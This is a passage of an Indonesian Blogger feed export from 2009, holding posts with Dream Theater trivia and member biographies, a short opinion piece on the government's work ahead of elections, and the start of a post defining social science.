beberapa kali di album &lt;i&gt;Awake&lt;/i&gt;. &lt;/span&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Tema pembukaan dari "Erotomania" digunakan di "Voices" di &lt;i&gt;Awake&lt;/i&gt; (menit 4:51). &lt;/span&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Satu dari melodi - melodi di "Metropolis Pt 1 (The Miracle and the Sleeper)" diulang di chorus kedua di "Home" dari &lt;i&gt;Metropolis Pt 2&lt;/i&gt; (Scenes From A Memory), dengan cuma pengubahan satu kata. Beberapa lirik dari "Metropolis Pt 1" just digunakan di "Home". Pada dasarnya, keseluruhan album "Scenes From A Memory" penuh dengan musikal/lirikal/konseptual variasi dari elemen - elemen musikal dari "Metropolis Pt 1" dan "The Dance of Eternity" sebenarnya dibangun dari variasi - variasi elemen musik di lagu - lagu dalam album tersebut. &lt;/span&gt;&lt;/div&gt; &lt;/li&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Bagian - baguan dari tiap lagu di album "Octavarium" telah digunakan di bagian kelima dari lagu berjudul sama, "Octavarium". &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;"&gt;&lt;span style="color:#663333;"&gt;&lt;i&gt;Six Degrees of Inner Turbulence&lt;/i&gt;, studio album ke enam mereka, memuat enam lagu dan mempunyai karakter - karakter angka enam di judul - judul lagunya. &lt;i&gt;Train of Thought&lt;/i&gt;, studio album ke tujuh mereka, memuat tujuh lagu. &lt;i&gt;Octavarium&lt;/i&gt;, studio album ke delapan mereka memuat delapan lagu dan judul albumnya diambil dari kata &lt;b&gt;octo&lt;/b&gt;, yang merupakan kata Latin yang berarti &lt;b&gt;delapan&lt;/b&gt;, berarti satu oktaf dari istilah musik, yang mana merupakan jarak dari satu not ke not lain adalah delapan not di tangga nada diatonik. Judul lagi dari CD ini adalah 24 menit, kelipatan dari 8. Halaman depan albumnya juga memuat karakter - karakter yang berhubungan dengan 5 dan 8. Contohnya, satu set dari kotak - kotak putih dan kotak - kotak hitam, mempunyai arti satu oktaf dari piano. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Lagu "Octavarium" dulunya ingin diakhiri dengan seruling yang bergema serupa dengan awalan lagu tersebut. Namun diganti dengan not piano yang sama dari awalan album &lt;i&gt;Octavarium&lt;/i&gt;. Mike Portnoy telah mengatakan bahwa seri awalan - akhiran album akan berhenti disini, karena album ke sembilan mendatang tidak akan diawali dengan akhiran "Octavarium" &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; &lt;div align="justify"&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;Analisis detil tentang "nugget" di "Octavarium" (disebut oleh Mike Portnoy sebagai "sebuah nugget raksasa") telah dipublikasikan di sebuah &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="external text" title="http://dt.spatang.com/octavarium.php" href="http://dt.spatang.com/octavarium.php" rel="nofollow"&gt;&lt;span style="font-family:Verdana;color:#663333;"&gt;situs independen&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:Verdana;font-size:100%;color:#663333;"&gt;. &lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;"&gt;&lt;a id="Diskografi" name="Diskografi"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;span style="color:#663333;"&gt;PERSONIL :&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;&lt;b&gt;John Ro Myung&lt;/b&gt; adalah seorang &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="mw-redirect" title="Bassist" href="http://id.wikipedia.org/wiki/Bassist"&gt;&lt;span style="color:#663333;"&gt;bassist&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; dan anggota pembentuk grup &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Progressive metal" href="http://id.wikipedia.org/wiki/Progressive_metal"&gt;&lt;span style="color:#663333;"&gt;progressive metal&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;.Dia merupakan satu-satunya anggota Dream Theater yang memiliki keturunan Asia yaitu korea. &lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Lahir pada tanggal 24 Januari 1967 di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Chicago" href="http://id.wikipedia.org/wiki/Chicago"&gt;&lt;span style="color:#663333;"&gt;Chicago&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; dan besar di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Long Island" href="http://id.wikipedia.org/wiki/Long_Island"&gt;&lt;span style="color:#663333;"&gt;Long Island&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;, &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="New York" href="http://id.wikipedia.org/wiki/New_York"&gt;&lt;span style="color:#663333;"&gt;New York&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;.Ibunya sering mendengarkan music classic saat dia masih kecil, dan saat Myung muda berusia 5 tahun, dia mengambil kursus biola. Kemudian saat John Myung berusia 15 tahun, tetanggaNya mendekatinnya untuk memainkan Bass pada band tetangganya tersebut, kemudian Myung berasumsi bahwa Bass mempunyai 4 senar sama dengan biola, jadi dia dapat mempelajarinnya dengan cepat dan sejak saat itu dia beralih ke Bass guitar dan sejak saat itu dia tak pernah lagi memainkan biola.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Inspirator yang mempengaruhi John Myung seperti Chris Squire, Steve Harris dan Geddy Lee, juga band seperti Rush, Yes dan Iron Maiden. Juga dia sering mendengarkan band seperti jane's addiction, Red Hot Chilli Peppers sebaik musik classic dan blues.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;John merupakan satu-satunnya anggota Dream Theater yang tetap tinggal di Long Island bersama istrinnya Lisa dan 2 anaknya, Brandon dan Christian Myung.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Lagu yang pernah diciptakannya untuk Dream Theater ialah Learning To Live pada album Images and Words dan Trial of Tears pada album Falling Into Infinity. dia mempunyai project lain selain dream theater yaitu Jelly jam.&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:100%;color:#663333;"&gt; &lt;p align="justify"&gt;&lt;span style="color:#663333;"&gt;&lt;b&gt;John Petrucci&lt;/b&gt; (lahir pada tanggal 12 Juli, 1967), adalah &lt;/span&gt;&lt;a title="Gitaris" href="http://id.wikipedia.org/wiki/Gitaris"&gt;&lt;span style="color:#663333;"&gt;gitaris&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; Amerika yang dikenal sebagai anggota pembentuk grup progresif metal &lt;/span&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;. Dia juga seorang &lt;/span&gt;&lt;a title="Produser" href="http://id.wikipedia.org/wiki/Produser"&gt;&lt;span style="color:#663333;"&gt;produser&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; (bersama teman satu bandnya &lt;/span&gt;&lt;a title="Mike Portnoy" href="http://id.wikipedia.org/wiki/Mike_Portnoy"&gt;&lt;span style="color:#663333;"&gt;Mike Portnoy&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;) dari semua album Dream Theater sejak rilis album Scenes From A Memory, pada tahun 1999. Petrucci besar di &lt;/span&gt;&lt;a title="Long Island" href="http://id.wikipedia.org/wiki/Long_Island"&gt;&lt;span style="color:#663333;"&gt;Long Island&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, tepatnya &lt;/span&gt;&lt;a class="new" title="Kings park (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Kings_park&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;Kings park&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; dimana Petrucci bersama &lt;/span&gt;&lt;a title="John Myung" href="http://id.wikipedia.org/wiki/John_Myung"&gt;&lt;span style="color:#663333;"&gt;John Myung&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; dan &lt;/span&gt;&lt;a title="Kevin Moore" href="http://id.wikipedia.org/wiki/Kevin_Moore"&gt;&lt;span style="color:#663333;"&gt;Kevin Moore&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; sekolah di tempat yang sama. Petrucci bermain gitar pertama kali pada saat berumur 8 tahun. Dan mulai bermain dengan sebuah band pada umur 12 tahun. Band dan gitaris yang mempengaruhi permainan gitarnya adalah &lt;/span&gt;&lt;a class="new" title="Yngwie Malmsteen (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Yngwie_Malmsteen&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;Yngwie Malmsteen&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, &lt;/span&gt;&lt;a class="new" title="Randy Rhoads (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Randy_Rhoads&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;Randy Rhoads&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, &lt;/span&gt;&lt;a title="Iron Maiden" href="http://id.wikipedia.org/wiki/Iron_Maiden"&gt;&lt;span style="color:#663333;"&gt;Iron Maiden&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, &lt;/span&gt;&lt;a class="new" title="Stevie Ray Vaughn (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Stevie_Ray_Vaughn&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;Stevie Ray Vaughn&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, &lt;/span&gt;&lt;a title="Yes" href="http://id.wikipedia.org/wiki/Yes"&gt;&lt;span style="color:#663333;"&gt;Yes&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, &lt;/span&gt;&lt;a title="Rush" href="http://id.wikipedia.org/wiki/Rush"&gt;&lt;span style="color:#663333;"&gt;Rush&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; dsb. Karena saat itu sedang berkembang irama metal dan trash, Petrucci menambahkan pengaruhnya pada musik &lt;/span&gt;&lt;a title="Metallica" href="http://id.wikipedia.org/wiki/Metallica"&gt;&lt;span style="color:#663333;"&gt;Metallica&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; dan &lt;/span&gt;&lt;a class="mw-redirect" title="Queensryche" href="http://id.wikipedia.org/wiki/Queensryche"&gt;&lt;span style="color:#663333;"&gt;Queensryche&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;.&lt;/span&gt;&lt;/p&gt; &lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;&lt;span style="color:#663333;"&gt;&lt;b&gt;James Labrie&lt;/b&gt; merupakan Vokalis &lt;/span&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt; yang masuk dan bergabung dengan Dream Theater pada tahun &lt;/span&gt;&lt;a title="1992" href="http://id.wikipedia.org/wiki/1992"&gt;&lt;span style="color:#663333;"&gt;1992&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;, menggantikan &lt;/span&gt;&lt;a title="Charlie Dominici" href="http://id.wikipedia.org/wiki/Charlie_Dominici"&gt;&lt;span style="color:#663333;"&gt;Charlie Dominici&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#663333;"&gt;.&lt;/span&gt;&lt;/span&gt;  &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Kevin James LaBrie lahir di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="new" title="Penetanguishene (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=Penetanguishene&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;Penetanguishene&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;, Sebuah kota kecil di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Kanada" href="http://id.wikipedia.org/wiki/Kanada"&gt;&lt;span style="color:#663333;"&gt;Kanada&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; pada tanggal &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="5 Mei" href="http://id.wikipedia.org/wiki/5_Mei"&gt;&lt;span style="color:#663333;"&gt;5 Mei&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="1963" href="http://id.wikipedia.org/wiki/1963"&gt;&lt;span style="color:#663333;"&gt;1963&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;. sejak kecil, James saat berumur 3 tahun, dia sering mendengarkan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Radio" href="http://id.wikipedia.org/wiki/Radio"&gt;&lt;span style="color:#663333;"&gt;radio&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; dan menyayikan lagu apapun yang terdengar dari radio tersebut. Diinspirasikan oleh ayahnya, dia kemudian mulai bernyanyi dan bermain drum pada awalnya saat berusia 5 tahun. dan pada saat berusia 10 tahun, dia berkuartet dengan ayahnya dan paman juga adiknya bernyanyi di barber shop.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;sebelum muda, dia sudah menyukai musik rock. Saat berusia 14 tahun, dia telah bermain di berbagai band sebagai vokal dan drum. Tetapi, James lebih memilih bernyanyi ketimbang bermain drum. saat dia berusia 18 tahun, dia memutuskan pindah ke Kanada.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Saat berusia 21 tahun, James berlatih vokal pada Rosemary Patricia Burns. Setelah banyak bergabung dengan beberapa band di Kanada. James kemudian menjadi vokalis pada band Winter's Rose, dimana juga bergabung dengan Atlantic Records, Label Dream Theater saat itu. lalu Pierre Paradis yang mengatur band Voi Vod, menawarkan solo project pada James di Aquarius record. kemudian dia memberitahu James bahwa ada nama band &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="New York" href="http://id.wikipedia.org/wiki/New_York"&gt;&lt;span style="color:#663333;"&gt;New York&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; bernama &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; melakukan audisi untuk mencari vokalis, kemudian James mengikutinnya dan diterima, itulah sejarah LaBrie bergabung dengan Dream Theater pada 1992, dimana album pertama LaBrie bersama Dream theater ialah Images and Words.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Sampai saat ini, Labrie telah banyak menciptakan lagu untuk Dream Theater seperti Anna Lee(Falling Into Infinity), Vacant(Train Of Thought), Blind Faith(six degree of Inner Turbulance), Sacrified Son(Octavarium).&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;Dan dia tetap tinggal di &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Toronto" href="http://id.wikipedia.org/wiki/Toronto"&gt;&lt;span style="color:#663333;"&gt;Toronto&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;,Kanada bersama istrinya Karen, dan kedua anaknya Chloe dan Chance Abraham LaBrie.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;&lt;b&gt;Jordan Rudess&lt;/b&gt; (lahir dengan nama &lt;b&gt;Jordan Rudes&lt;/b&gt; pada &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="4 November" href="http://id.wikipedia.org/wiki/4_November"&gt;&lt;span style="color:#663333;"&gt;4 November&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="1956" href="http://id.wikipedia.org/wiki/1956"&gt;&lt;span style="color:#663333;"&gt;1956&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;) adalah pemain &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="mw-redirect" title="Keyboard" href="http://id.wikipedia.org/wiki/Keyboard"&gt;&lt;span style="color:#663333;"&gt;keyboard&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; band progresif rock &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p align="justify"&gt;&lt;span style="font-size:100%;color:#663333;"&gt;&lt;b&gt;Mike Portnoy&lt;/b&gt; (lahir &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="20 April" href="http://id.wikipedia.org/wiki/20_April"&gt;&lt;span style="color:#663333;"&gt;20 April&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="1967" href="http://id.wikipedia.org/wiki/1967"&gt;&lt;span style="color:#663333;"&gt;1967&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;) adalah drummer kelompok musik &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Dream Theater" href="http://id.wikipedia.org/wiki/Dream_Theater"&gt;&lt;span style="color:#663333;"&gt;Dream Theater&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;. Ia juga memiliki beberapa proyek sampingan seperti &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="new" title="TransAtlantic (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=TransAtlantic&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;TransAtlantic&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;, &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a class="new" title="O.S.I (belum dibuat)" href="http://id.wikipedia.org/w/index.php?title=O.S.I&amp;amp;action=edit&amp;amp;redlink=1"&gt;&lt;span style="color:#663333;"&gt;O.S.I&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt; dan &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;a title="Liquid Tension Experiment" href="http://id.wikipedia.org/wiki/Liquid_Tension_Experiment"&gt;&lt;span style="color:#663333;"&gt;Liquid Tension Experiment&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;color:#663333;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-6614827572385613637?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/6614827572385613637/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/dream-theatre-ayo-kita-lihat.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6614827572385613637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/6614827572385613637'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/dream-theatre-ayo-kita-lihat.html' title='Dream Theatre, ayo kita lihat . . .'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-3733549305662426279</id><published>2009-09-12T16:27:00.000+07:00</published><updated>2009-09-12T16:29:47.986+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Pemilu'/><title type='text'>Kerja Pemerintah Membaik?!Biasa Mau PEMILU..</title><content type='html'>&lt;span style="font-family: arial;font-size:100%;" &gt;&lt;span style="font-size: 12px; color: rgb(102, 102, 102);"&gt;Sadar atau tidakkah anda Bahwa Kerja Pemerintah Indonesia Sekarang ini sedang membaik. Dimulai dengan naiknya Anggaran Pendidikan yang cukup besar sehingga Pendidikan di Indonesia diharapkan Bisa Semakin Membaik. Dilanjutkan,Penurunan harga Bensin Dan Ditahun depan Solar juga akan Turun tinggal menunggu hasil Rapat RAPBN.Walaupun banyak orang yang menginginkan penurunan yang lebih besar. Selain itu Koruptor juga ditangkapi tidak peduli siapakah Koruptor Tersebut.Lihat saja Besan SBY pun juga sudah menjadi Tersangka dalam sebuah kasus korupsi. Kasus Lumpur Lapindo pun juga sekarang sudah mendapatkan tanggapan cukup baik,Terbukti pada Kasus lumpur lapindo SBY ikut turun Tangan. Saya juga masih menunggu Sesuatu yang mengagumkan yang akan dilakukan pemerintah kita ini.Tapi apakah Kerja pemerintah Yang sekarang ini Hanya dikarenakan Sudah Dekatnya PEMILU?! Jangan-jangan kerja Pemerintah kita ini hanya agar Mereka terpilih kembali pada PEMILU mendatang,Dan Setelah Terpilih kembali kerja pemerintah indonesia akan kembali menjadi buruk. Semoga saja tidak begitu...&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-3733549305662426279?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/3733549305662426279/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/kerja-pemerintah-membaikbiasa-mau.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3733549305662426279'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/3733549305662426279'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/kerja-pemerintah-membaikbiasa-mau.html' title='Kerja Pemerintah Membaik?!Biasa Mau PEMILU..'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4183972594340573458.post-7872360267651691164</id><published>2009-09-12T16:19:00.000+07:00</published><updated>2010-01-07T20:40:10.445+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ilmu sosial'/><title type='text'>Apa itu Ilmu Sosial?!</title><content type='html'>&lt;p style="color: rgb(51, 0, 51);"&gt;&lt;strong&gt;Menurut saya, Ilmu sosial&lt;/strong&gt; adalah sekelompok disiplin akademis yang mempelajari aspek-aspek yang berhubungan dengan &lt;a title="Manusia" href="http://id.wikipedia.org/wiki/Manusia"&gt;manusia&lt;/a&gt; dan lingkungan sosialnya. Ilmu ini berbeda dengan &lt;a title="Seni" href="http://id.wikipedia.org/wiki/Seni"&gt;seni&lt;/a&gt; dan &lt;a title="Humaniora" href="http://id.wikipedia.org/wiki/Humaniora"&gt;humaniora&lt;/a&gt; karena menekankan penggunaan &lt;a title="Metode ilmiah" href="http://id.wikipedia.org/wiki/Metode_ilmiah"&gt;metode ilmiah&lt;/a&gt; dalam mempelajari manusia, termasuk metoda kuantitatif dan kualitatif.&lt;/p&gt; &lt;p style="color: rgb(51, 0, 51);"&gt;Ilmu sosial, dalam mempelajari aspek-aspek masyarakat secara subjektif, inter-subjektif, dan objektif atau struktural, sebelumnya dianggap kurang ilmiah bila dibanding dengan &lt;a title="Ilmu alam" href="http://id.wikipedia.org/wiki/Ilmu_alam"&gt;ilmu alam&lt;/a&gt;. Namun sekarang, beberapa bagian dari ilmu sosial telah banyak menggunakan metoda kuantitatif. Demikian pula, pendekatan interdisiplin dan lintas-disiplin dalam penelitian sosial terhadap perilaku manusia serta faktor sosial dan lingkungan yang mempengaruhinya telah membuat banyak peneliti ilmu alam tertarik pada beberapa aspek dalam metodologi ilmu sosial.&lt;sup&gt;&lt;a href="http://id.wikipedia.org/wiki/Ilmu_sosial#cite_note-0"&gt;[1]&lt;/a&gt;&lt;/sup&gt; Penggunaan metoda kuantitatif dan kualitatif telah makin banyak diintegrasikan dalam studi tentang tindakan manusia serta implikasi dan konsekuensinya.&lt;br /&gt;&lt;/p&gt; &lt;p style="color: rgb(51, 0, 51);"&gt;Cabang-cabang utama dari ilmu sosial adalah:&lt;/p&gt; &lt;ul style="color: rgb(51, 0, 51);"&gt;&lt;li&gt;&lt;a title="Antropologi" href="http://id.wikipedia.org/wiki/Antropologi"&gt;Antropologi&lt;/a&gt;, yang mempelajari tentang budaya masyarakat suatu etnis tertentu&lt;/li&gt;&lt;li&gt;&lt;a title="Ekonomi" href="http://id.wikipedia.org/wiki/Ekonomi"&gt;Ekonomi&lt;/a&gt;, yang mempelajari produksi dan pembagian kekayaan dalam masyarakat&lt;/li&gt;&lt;li&gt;&lt;a title="Geografi" href="http://id.wikipedia.org/wiki/Geografi"&gt;Geografi&lt;/a&gt;, yang mempelajari lokasi dan variasi keruangan atas fenomena fisik dan manusia di atas permukaan bumi&lt;/li&gt;&lt;li&gt;&lt;a title="Hukum" href="http://id.wikipedia.org/wiki/Hukum"&gt;Hukum&lt;/a&gt;, yang mempelajari sistem aturan yang telah dilembagakan&lt;/li&gt;&lt;li&gt;&lt;a title="Linguistik" href="http://id.wikipedia.org/wiki/Linguistik"&gt;Linguistik&lt;/a&gt;, yang mempelajari aspek kognitif dan sosial dari bahasa&lt;/li&gt;&lt;li&gt;&lt;a title="Pendidikan" href="http://id.wikipedia.org/wiki/Pendidikan"&gt;Pendidikan&lt;/a&gt;, yang mempelajari masalah yang berkaitan dengan belajar, pembelajaran, serta pembentukan karakter dan moral&lt;/li&gt;&lt;li&gt;&lt;a title="Ilmu politik" href="http://id.wikipedia.org/wiki/Ilmu_politik"&gt;Politik&lt;/a&gt;, yang mempelajari pemerintahan sekelompok manusia (termasuk negara)&lt;/li&gt;&lt;li&gt;&lt;a title="Psikologi" href="http://id.wikipedia.org/wiki/Psikologi"&gt;Psikologi&lt;/a&gt;, yang mempelajari tingkah laku dan proses mental&lt;/li&gt;&lt;li&gt;&lt;a title="Sejarah" 